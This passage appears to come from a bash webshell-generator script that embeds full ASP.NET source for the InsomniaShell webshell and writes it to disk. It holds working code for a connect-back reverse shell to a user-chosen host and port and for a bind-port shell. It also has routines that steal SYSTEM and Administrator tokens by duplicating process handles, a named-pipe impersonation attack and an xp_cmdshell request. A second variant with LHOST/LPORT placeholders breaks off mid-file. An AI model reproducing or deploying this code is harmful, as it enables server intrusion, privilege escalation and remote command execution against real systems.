   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public extern static bool ConvertSidToStringSid(
       IntPtr pSID,
       [In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);


   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern bool CloseHandle(
       IntPtr hHandle);

   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
   [Flags]
   public enum ProcessAccessFlags : uint
   {
       All = 0x001F0FFF,
       Terminate = 0x00000001,
       CreateThread = 0x00000002,
       VMOperation = 0x00000008,
       VMRead = 0x00000010,
       VMWrite = 0x00000020,
       DupHandle = 0x00000040,
       SetInformation = 0x00000200,
       QueryInformation = 0x00000400,
       Synchronize = 0x00100000
   }

   [DllImport("kernel32.dll")]
   static extern IntPtr GetCurrentProcess();

   [DllImport("kernel32.dll")]
   extern static IntPtr GetCurrentThread();


   [DllImport("kernel32.dll", SetLastError = true)]
   [return: MarshalAs(UnmanagedType.Bool)]
   static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
      IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
      uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);

    [DllImport("psapi.dll", SetLastError = true)]
    public static extern bool EnumProcessModules(IntPtr hProcess,
    [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
    uint cb,
    [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);

    [DllImport("psapi.dll")]
    static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);


    //-------------------------------------------------------------------------------------------------------------------------------

    public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
    public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
    public const uint PIPE_ACCESS_INBOUND = 0x00000001;
    public const uint PIPE_WAIT = 0x00000000;
    public const uint PIPE_NOWAIT = 0x00000001;
    public const uint PIPE_READMODE_BYTE = 0x00000000;
    public const uint PIPE_READMODE_MESSAGE = 0x00000002;
    public const uint PIPE_TYPE_BYTE = 0x00000000;
    public const uint PIPE_TYPE_MESSAGE = 0x00000004;
    public const uint PIPE_CLIENT_END = 0x00000000;
    public const uint PIPE_SERVER_END = 0x00000001;
    public const uint PIPE_UNLIMITED_INSTANCES = 255;

    public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
    public const uint NMPWAIT_NOWAIT = 0x00000001;
    public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;

    public const uint GENERIC_READ = (0x80000000);
    public const uint GENERIC_WRITE = (0x40000000);
    public const uint GENERIC_EXECUTE = (0x20000000);
    public const uint GENERIC_ALL = (0x10000000);

    public const uint CREATE_NEW = 1;
    public const uint CREATE_ALWAYS = 2;
    public const uint OPEN_EXISTING = 3;
    public const uint OPEN_ALWAYS = 4;
    public const uint TRUNCATE_EXISTING = 5;

    public const int INVALID_HANDLE_VALUE = -1;

    public const ulong ERROR_SUCCESS = 0;
    public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
    public const ulong ERROR_PIPE_BUSY = 231;
    public const ulong ERROR_NO_DATA = 232;
    public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
    public const ulong ERROR_MORE_DATA = 234;
    public const ulong ERROR_PIPE_CONNECTED = 535;
    public const ulong ERROR_PIPE_LISTENING = 536;

    //-------------------------------------------------------------------------------------------------------------------------------
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr CreateNamedPipe(
        String lpName,									// pipe name
        uint dwOpenMode,								// pipe open mode
        uint dwPipeMode,								// pipe-specific modes
        uint nMaxInstances,							// maximum number of instances
        uint nOutBufferSize,						// output buffer size
        uint nInBufferSize,							// input buffer size
        uint nDefaultTimeOut,						// time-out interval
        IntPtr pipeSecurityDescriptor		// SD
        );

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool ConnectNamedPipe(
        IntPtr hHandle,									// handle to named pipe
        uint lpOverlapped					// overlapped structure
        );

    [DllImport("Advapi32.dll", SetLastError = true)]
    public static extern bool ImpersonateNamedPipeClient(
        IntPtr hHandle);									// handle to named pipe

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool GetNamedPipeHandleState(
        IntPtr hHandle,
        IntPtr lpState,
        IntPtr lpCurInstances,
        IntPtr lpMaxCollectionCount,
        IntPtr lpCollectDataTimeout,
        StringBuilder lpUserName,
        int nMaxUserNameSize
        );
    //------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------    
    
    
    
    protected void CallbackShell(string server, int port)
    {
        // This will do a call back shell to the specified server and port
        string request = "Shell enroute.......\n";
        Byte[] bytesSent = Encoding.ASCII.GetBytes(request);

        IntPtr oursocket = IntPtr.Zero;
        
        sockaddr_in socketinfo;
    
        // Create a socket connection with the specified server and port.
        oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);

        // Setup And Bind Socket
        socketinfo = new sockaddr_in();
        
        socketinfo.sin_family = (short) AddressFamily.InterNetwork;
        socketinfo.sin_addr = inet_addr(server);
        socketinfo.sin_port = (short) htons((ushort)port);
        
        //Connect
        connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));

        send(oursocket, bytesSent, request.Length, 0);

        SpawnProcessAsPriv(oursocket);

        closesocket(oursocket);
        
      
    }

    protected void BindPortShell(int port)
    {
        // This will bind to a port and then send back a shell
        string request = "Shell enroute.......\n";
        Byte[] bytesSent = Encoding.ASCII.GetBytes(request);

        IntPtr oursocket = IntPtr.Zero;

        sockaddr_in socketinfo;

        // Create a socket connection with the specified server and port.
        oursocket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, 0);

        // Setup And Bind Socket
        socketinfo = new sockaddr_in();
        socketinfo.sin_family = (short)AddressFamily.InterNetwork;
        uint INADDR_ANY	=0x00000000;

        socketinfo.sin_addr = (int) htonl(INADDR_ANY);
        socketinfo.sin_port = (short)htons((ushort) port);

        // Bind
        bind(oursocket,ref socketinfo,Marshal.SizeOf(socketinfo));

        // Lsten
 	    	listen(oursocket, 128);
	  
        // Wait for connection
        int socketSize = Marshal.SizeOf(socketinfo);

        oursocket = accept(oursocket, ref socketinfo, ref socketSize);
	    
        send(oursocket, bytesSent, request.Length, 0);

        SpawnProcessAsPriv(oursocket);

        closesocket(oursocket);
       
    }

    protected void SpawnProcess(IntPtr oursocket)
    {
        // Spawn a process to a socket withouth impersonation
        bool retValue;
        string Application = Environment.GetEnvironmentVariable("comspec"); 

        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
        STARTUPINFO sInfo = new STARTUPINFO();
        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
        pSec.Length = Marshal.SizeOf(pSec);

        sInfo.dwFlags = 0x00000101; // STARTF.STARTF_USESHOWWINDOW | STARTF.STARTF_USESTDHANDLES;

        // Set Handles
        sInfo.hStdInput = oursocket;
        sInfo.hStdOutput = oursocket;
        sInfo.hStdError = oursocket;


        //Spawn Shell
        retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);

        // Wait for it to finish
        WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
    }

    
    protected void GetSystemToken(ref IntPtr DupeToken)
    {        
    		// Enumerate all accessible processes looking for a system token

        SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
        sa.bInheritHandle = false;
        sa.Length = Marshal.SizeOf(sa);
        sa.lpSecurityDescriptor = (IntPtr)0;

        // Find Token
        IntPtr pTokenType = Marshal.AllocHGlobal(4);
        int TokenType = 0;
        int cb = 4;

        string astring = "";
        IntPtr token = IntPtr.Zero;
        IntPtr duptoken = IntPtr.Zero;

        IntPtr hProc = IntPtr.Zero;
        IntPtr usProcess = IntPtr.Zero;


        uint pid = 0;

        for (pid = 0; pid < 9999; pid += 4)
        {
            hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid);
            usProcess = GetCurrentProcess();

            if (hProc != IntPtr.Zero)
            {
                for (int x = 1; x <= 9999; x += 4)
                {
                    token = (IntPtr)x;

                    if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2))
                    {
                        if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb))
                        {
                            TokenType = Marshal.ReadInt32(pTokenType);

                            switch ((TOKEN_TYPE)TokenType)
                            {
                                case TOKEN_TYPE.TokenPrimary:
                                    astring = "Primary";
                                    break;
                                case TOKEN_TYPE.TokenImpersonation:
                                    // Get the impersonation level
                                    GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);
                                    TokenType = Marshal.ReadInt32(pTokenType);
                                    switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)
                                    {
                                        case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:
                                            astring = "Impersonation - Anonymous";
                                            break;
                                        case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:
                                            astring = "Impersonation - Identification";
                                            break;
                                        case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:
                                            astring = "Impersonation - Impersonation";
                                            break;
                                        case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:
                                            astring = "Impersonation - Delegation";
                                            break;
                                    }

                                    break;
                            }


                            // Get user name
                            TOKEN_USER tokUser;
                            string username;
                            const int bufLength = 256;
                            IntPtr tu = Marshal.AllocHGlobal(bufLength);
                            cb = bufLength;
                            GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb);
                            tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER));

                            username = DumpAccountSid(tokUser.User.Sid);

                            Marshal.FreeHGlobal(tu);

                            if (username.ToString() == "NT AUTHORITY\\\\SYSTEM")
                            {
                                // Coverts a primary token to an impersonation
                                if (DuplicateTokenEx(duptoken, GENERIC_ALL, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, ref DupeToken))
                                {
                                    // Display the token type
                                    //Response.Output.Write("* Duplicated token is {0}<br>", DisplayTokenType(DupeToken));

                                    return;
                                }
                            }   
                        }
                        CloseHandle(duptoken);
                    }
                }
                CloseHandle(hProc);
            }
            
        }
        
    }
    
    protected void GetAdminToken(ref IntPtr DupeToken)
    {        
    		// Enumerate all accessible processes looking for a system token

        SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
        sa.bInheritHandle = false;
        sa.Length = Marshal.SizeOf(sa);
        sa.lpSecurityDescriptor = (IntPtr)0;

        // Find Token
        IntPtr pTokenType = Marshal.AllocHGlobal(4);
        int TokenType = 0;
        int cb = 4;

        string astring = "";
        IntPtr token = IntPtr.Zero;
        IntPtr duptoken = IntPtr.Zero;

        IntPtr hProc = IntPtr.Zero;
        IntPtr usProcess = IntPtr.Zero;


        uint pid = 0;

        for (pid = 0; pid < 9999; pid += 4)
        {
            hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid);
            usProcess = GetCurrentProcess();

            if (hProc != IntPtr.Zero)
            {
                for (int x = 1; x <= 9999; x += 4)
                {
                    token = (IntPtr)x;

                    if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2))
                    {
                        if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb))
                        {
                            TokenType = Marshal.ReadInt32(pTokenType);

                            switch ((TOKEN_TYPE)TokenType)
                            {
                                case TOKEN_TYPE.TokenPrimary:
                                    astring = "Primary";
                                    break;
                                case TOKEN_TYPE.TokenImpersonation:
                                    // Get the impersonation level
                                    GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);
                                    TokenType = Marshal.ReadInt32(pTokenType);
                                    switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)
                                    {
                                        case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:
                                            astring = "Impersonation - Anonymous";
                                            break;
                                        case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:
                                            astring = "Impersonation - Identification";
                                            break;
                                        case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:
                                            astring = "Impersonation - Impersonation";
                                            break;
                                        case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:
                                            astring = "Impersonation - Delegation";
                                            break;
                                    }

                                    break;
                            }


                            // Get user name
                            TOKEN_USER tokUser;
                            string username;
                            const int bufLength = 256;
                            IntPtr tu = Marshal.AllocHGlobal(bufLength);
                            cb = bufLength;
                            GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb);
                            tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER));

                            username = DumpAccountSid(tokUser.User.Sid);

                            Marshal.FreeHGlobal(tu);
  
                            if (username.EndsWith("Administrator"))
                            {
                                // Coverts a primary token to an impersonation
                                if (DuplicateTokenEx(duptoken, GENERIC_ALL, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, ref DupeToken))
                                {
                                    // Display the token type
                                    //Response.Output.Write("* Duplicated token is {0}<br>", DisplayTokenType(DupeToken));

                                    return;
                                }
                            }   
                        }
                        CloseHandle(duptoken);
                    }
                }
                CloseHandle(hProc);
            }
            
        }
        
    }
    
    protected void SpawnProcessAsPriv(IntPtr oursocket)
    {
        // Spawn a process to a socket
        
        bool retValue;
        string Application = Environment.GetEnvironmentVariable("comspec"); 

        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
        STARTUPINFO sInfo = new STARTUPINFO();
        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
        pSec.Length = Marshal.SizeOf(pSec);

        sInfo.dwFlags = 0x00000101; // STARTF.STARTF_USESHOWWINDOW | STARTF.STARTF_USESTDHANDLES;

        IntPtr DupeToken = new IntPtr(0);

        
        // Get the token
        GetSystemToken(ref DupeToken);
        
        if (DupeToken == IntPtr.Zero)
						GetAdminToken(ref DupeToken);
        

        // Display the token type
        //Response.Output.Write("* Creating shell as {0}<br>", DisplayTokenType(DupeToken));
       
             
        
        // Set Handles
        sInfo.hStdInput = oursocket;
        sInfo.hStdOutput = oursocket;
        sInfo.hStdError = oursocket;


        //Spawn Shell
        if (DupeToken == IntPtr.Zero)
       
            retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
        else
            retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);

        // Wait for it to finish
        WaitForSingleObject(pInfo.hProcess, (int)INFINITE);

        //Close It all up
        CloseHandle(DupeToken);
    }

    //--------------------------------------------------------
    // Display the type of token and the impersonation level
    //--------------------------------------------------------
    protected StringBuilder DisplayTokenType(IntPtr token)
    {
        IntPtr pTokenType = Marshal.AllocHGlobal(4);
        int TokenType = 0;
        int cb = 4;

        StringBuilder sb = new StringBuilder();

        GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb);
        TokenType = Marshal.ReadInt32(pTokenType);

        switch ((TOKEN_TYPE)TokenType)
        {
            case TOKEN_TYPE.TokenPrimary:
                sb.Append("Primary");
                break;
            case TOKEN_TYPE.TokenImpersonation:
                // Get the impersonation level
                GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);
                TokenType = Marshal.ReadInt32(pTokenType);
                switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)
                {
                    case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:
                        sb.Append("Impersonation - Anonymous");
                        break;
                    case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:
                        sb.Append("Impersonation - Identification");
                        break;
                    case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:
                        sb.Append("Impersonation - Impersonation");
                        break;
                    case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:
                        sb.Append("Impersonation - Delegation");
                        break;
                }

                break;
        }
        Marshal.FreeHGlobal(pTokenType);
        return sb;
    }

    protected void DisplayCurrentContext()
    {
        Response.Output.Write("* Thread executing as {0}, token is {1}<br>", WindowsIdentity.GetCurrent().Name, DisplayTokenType(WindowsIdentity.GetCurrent().Token));
    }

    protected string DumpAccountSid(IntPtr SID)
    {
        int cchAccount = 0;
        int cchDomain = 0;
        int snu = 0;
        StringBuilder sb = new StringBuilder();

        // Caller allocated buffer
        StringBuilder Account = null;
        StringBuilder Domain = null;
        bool ret = LookupAccountSid(null, SID, Account, ref cchAccount, Domain, ref cchDomain, ref snu);
        if (ret == true)
            if (Marshal.GetLastWin32Error() == ERROR_NO_MORE_ITEMS)
                return "Error";
        try
        {
            Account = new StringBuilder(cchAccount);
            Domain = new StringBuilder(cchDomain);
            ret = LookupAccountSid(null, SID, Account, ref cchAccount, Domain, ref cchDomain, ref snu);
            if (ret)
            {
                sb.Append(Domain);
                sb.Append(@"\\");
                sb.Append(Account);
            }
            else
                sb.Append("logon account (no name) ");
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.Message);
        }
        finally
        {
        }

        //string SidString = null;
        
        //ConvertSidToStringSid(SID, ref SidString);
        //sb.Append("\nSID: ");
        //sb.Append(SidString);
        return sb.ToString();
    }
    
    protected string GetProcessName(uint PID)
    {
        IntPtr hProc = IntPtr.Zero;
        uint[] hMod = new uint[2048];
        uint cbNeeded;
        int exeNameSize = 255;
        StringBuilder exeName = null;
        
        exeName = new StringBuilder(exeNameSize);
        
        
        hProc = OpenProcess(ProcessAccessFlags.QueryInformation | ProcessAccessFlags.VMRead, false, PID);
        
        if (hProc != IntPtr.Zero)
        {
            if (EnumProcessModules(hProc, hMod, UInt32.Parse(hMod.Length.ToString()), out cbNeeded))
            {

                GetModuleBaseName(hProc, hMod[0],  exeName, (uint)exeNameSize);
            }
            
        }
        
        CloseHandle( hProc );

        return exeName.ToString();
    }
    
    
    //***************************************************************************
    // DISPLAY THE AVAILABLE TOKENS
    //***************************************************************************
    
    protected void DisplayAvailableTokens()
    {

        IntPtr pTokenType = Marshal.AllocHGlobal(4);
        int TokenType = 0;
        int cb = 4;

        string astring = "";
        IntPtr token = IntPtr.Zero;
        IntPtr duptoken = IntPtr.Zero;

        IntPtr hProc = IntPtr.Zero;
        IntPtr usProcess = IntPtr.Zero;
        

        uint pid = 0;

        for (pid = 0; pid < 9999; pid+=4)
        {
            hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid);
            usProcess = GetCurrentProcess();

            if (hProc != IntPtr.Zero)
            {
                //Response.Output.Write("Opened process PID: {0} : {1}<br>", pid, GetProcessName(pid));

                for (int x = 1; x <= 9999; x+=4)
                {
                    token = (IntPtr)x;

                    if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2))
                    {
                        //Response.Output.Write("Duplicated handle: {0}<br>", x);
                        if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb))
                        {
                            TokenType = Marshal.ReadInt32(pTokenType);

                            switch ((TOKEN_TYPE)TokenType)
                            {
                                case TOKEN_TYPE.TokenPrimary:
                                    astring = "Primary";
                                    break;
                                case TOKEN_TYPE.TokenImpersonation:
                                    // Get the impersonation level
                                    GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb);
                                    TokenType = Marshal.ReadInt32(pTokenType);
                                    switch ((SECURITY_IMPERSONATION_LEVEL)TokenType)
                                    {
                                        case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous:
                                            astring = "Impersonation - Anonymous";
                                            break;
                                        case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification:
                                            astring = "Impersonation - Identification";
                                            break;
                                        case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:
                                            astring = "Impersonation - Impersonation";
                                            break;
                                        case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:
                                            astring = "Impersonation - Delegation";
                                            break;
                                    }

                                    break;
                            }


                            // Get user name
                            TOKEN_USER tokUser;
                            string username;
                            const int bufLength = 256;
                            IntPtr tu = Marshal.AllocHGlobal(bufLength);
                            cb = bufLength;
                            GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb);
                            tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER));

                            username = DumpAccountSid(tokUser.User.Sid);

                            Marshal.FreeHGlobal(tu);

                            if (username.ToString()  ==  "NT AUTHORITY\\\\SYSTEM")
                                Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid,x, username, astring);
                            else if (username.EndsWith("Administrator"))
                                Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid,x, username, astring);
                            //else
                                //Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid, x, username, astring);
                        }
                        CloseHandle(duptoken);
                    }
                    else
                    {
                        //Response.Output.Write("Handle: {0} Error: {1}<br>", x,GetLastError());
                    }
                }
                CloseHandle(hProc);
            }
            else
            {
                //Response.Output.Write("Failed to open process PID: {0}<br>", pid);

            }
        }
    }


    protected void Page_Load(object sender, EventArgs e)
    {
    }


    protected void butConnectBack_Click(object sender, EventArgs e)
    {
        String host = txtRemoteHost.Text;
        int port = Convert.ToInt32(txtRemotePort.Text);
                
        CallbackShell(host, port);
    }

    protected void butBindPort_Click(object sender, EventArgs e)
    {

        int port = Convert.ToInt32(txtBindPort.Text);

        BindPortShell(port);
    }

    protected void butCreateNamedPipe_Click(object sender, EventArgs e)
    {
        String pipeName = "\\\\.\\pipe\\" + txtPipeName.Text;

        IntPtr hPipe = IntPtr.Zero;
        IntPtr secAttr = IntPtr.Zero;

        Response.Output.Write("+ Creating Named Pipe: {0}<br>", pipeName);

        hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 2, 0, 0, 0, secAttr);

        // Check value
        if (hPipe.ToInt32() == INVALID_HANDLE_VALUE)
        {
            Response.Write("- Failed to create named pipe:");
            Response.End();
        }

        Response.Output.Write("+ Created Named Pipe: {0}<br>", pipeName);

        // wait for client to connect   
        Response.Write("+ Waiting for connection...<br>");

        ConnectNamedPipe(hPipe, 0);

        // Get connected user info
        StringBuilder userName = new StringBuilder(256);

        if (!GetNamedPipeHandleState(hPipe, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, userName, userName.Capacity))
        {
            Response.Write("- Error Getting User Info<br>");
            Response.End();
        }
        Response.Output.Write("+ Connection From Client: {0}<br>", userName);

        // assume the identity of the client //
        Response.Write("+ Impersonating client...<br>");
        if (!ImpersonateNamedPipeClient(hPipe))
        {
            Response.Write("- Failed to impersonate the named pipe.<br>");
            CloseHandle(hPipe);
            Response.End();
        }
      

        CloseHandle(hPipe);

        
    }

    protected void butSQLRequest_Click(object sender, EventArgs e)
    {

        String pipeName = "\\\\.\\pipe\\" + txtPipeName.Text;
        String command = "exec master..xp_cmdshell 'dir > \\\\127.0.0.1\\pipe\\" + txtPipeName.Text + "'";

        // Make a local sql request to the pipe
        
        String connectionString = "server=127.0.0.1;database=master;uid=" + txtSQLUser.Text + ";password=" + txtSQLPass.Text;
        
        // create a new SqlConnection object with the appropriate connection string 
        SqlConnection sqlConn = new SqlConnection(connectionString);

        Response.Output.Write("+ Sending {0}<br>", command);
        // open the connection 
        sqlConn.Open();

        // do some operations ...
        // create the command object 
        SqlCommand sqlComm = new SqlCommand(command, sqlConn);
        sqlComm.ExecuteNonQuery();
        // close the connection
        sqlConn.Close();
    }
  
</script>

<html>

<head runat="server">
    <title>InsomniaShell</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    <asp:Label ID="Label10" runat="server" Height="26px" Text="InsomniaShell" Width="278px" Font-Bold="True"></asp:Label><br />
    <asp:Label ID="Label5" runat="server" Height="26px" Text="Current Context" Width="278px" Font-Bold="True"></asp:Label><br />
        <%        DisplayCurrentContext();%>
        <br />
        <asp:Label ID="Label1" runat="server" Height="26px" Text="Select Your Shell" Width="278px" Font-Bold="True"></asp:Label><br />
        <br />
        <asp:Label ID="Label2" runat="server" Text="Host" Width="198px"></asp:Label>
        <asp:Label ID="Label3" runat="server" Text="Port" Width="101px"></asp:Label><br />
        <asp:TextBox ID="txtRemoteHost" runat="server" Width="191px"></asp:TextBox>
        <asp:TextBox ID="txtRemotePort" runat="server" Width="94px"></asp:TextBox><br />
        <asp:Button ID="butConnectBack" runat="server" OnClick="butConnectBack_Click" Text="Connect Back Shell"
            Width="302px" /><br />
        <br />
        <asp:Label ID="Port" runat="server" Text="Port" Width="189px"></asp:Label><br />
        <asp:TextBox ID="txtBindPort" runat="server" Width="91px"></asp:TextBox><br />
        <asp:Button ID="butBindPort" runat="server" OnClick="butBindPort_Click" Text="Bind Port Shell"
            Width="299px" /><br />
        <br />
        
        <asp:Label ID="Label7" runat="server" Height="26px" Text="Named Pipe Attack" Width="278px" Font-Bold="True"></asp:Label><br />
        <br />
        <asp:Label ID="Label6" runat="server" Text="Pipe Name" Width="198px"></asp:Label><br />
        <asp:TextBox ID="txtPipeName" runat="server" Text="InsomniaShell" Width="191px"></asp:TextBox><br />
        <asp:Button ID="Button1" runat="server" OnClick="butCreateNamedPipe_Click" Text="Create Named Pipe" Width="400px" /><br />
        <asp:Label ID="Label8" runat="server" Text="SQL User" Width="198px"></asp:Label>
        <asp:Label ID="Label9" runat="server" Text="SQL Pass" Width="101px"></asp:Label><br />
        <asp:TextBox ID="txtSQLUser" runat="server" Width="191px">sa</asp:TextBox>
        <asp:TextBox ID="txtSQLPass" runat="server" Width="94px"></asp:TextBox><br />
        <asp:Button ID="Button3" runat="server" OnClick="butSQLRequest_Click" Text="Make SQL Request" Width="400px" /><br />
        <br />            
        
        <asp:Label ID="Label4" runat="server" Height="26px" Text="Available SYSTEM/Administrator Tokens" Width="400px" Font-Bold="True"></asp:Label><br />
        <br />
        <%   DisplayAvailableTokens(); %>
        
        </div>
    </form>
</body>
</html>
' printf "Enter path for the webshell or press enter for $PWD:" read -r ans case $ans in "") echo -n $Insomnia | base64 -d > "$PWD/Insomnia.aspx" echo "Saving $1 to: $PWD/Insomnia.aspx" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $Insomnia | base64 -d > "$ans/Insomnia.aspx" echo "Saving $1 to: $ans/Insomnia.aspx" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; Insomnia_Impersonate) Insomnia_Impersonate='<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<%@ Import Namespace = "System.Web" %>
<%@ Import Namespace = "System.Web.Security" %>
<%@ Import Namespace = "System.Security.Principal" %>
<%@ Import Namespace = "System.Runtime.InteropServices" %>
<script runat="server">
public const int LOGON32_LOGON_INTERACTIVE = 2;
public const int LOGON32_PROVIDER_DEFAULT = 0;

WindowsImpersonationContext impersonationContext;

[DllImport("advapi32.dll")]
public static extern int LogonUserA(String lpszUserName,
String lpszDomain,
String lpszPassword,
int dwLogonType,
int dwLogonProvider,
ref IntPtr phToken);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern int DuplicateToken(IntPtr hToken,
int impersonationLevel,
ref IntPtr hNewToken);

[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern bool RevertToSelf();

//Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
//Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
    
    protected void Page_Load(object sender, EventArgs e)
    {
        String host = "LHOST";
            int port = Convert.ToInt32("LPORT");
              
            if(impersonateValidUser("my_user", "my_domain", "my_password"))
            {   
                CallbackShell(host, port);
            }
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFO
    {
        public int cb;
        public String lpReserved;
        public String lpDesktop;
        public String lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct SECURITY_ATTRIBUTES
    {
        public int Length;
        public IntPtr lpSecurityDescriptor;
        public bool bInheritHandle;
    }
    
    
    [DllImport("kernel32.dll")]
    static extern bool CreateProcess(string lpApplicationName,
       string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
       uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
       [In] ref STARTUPINFO lpStartupInfo,
       out PROCESS_INFORMATION lpProcessInformation);

    public static uint INFINITE = 0xFFFFFFFF;
    
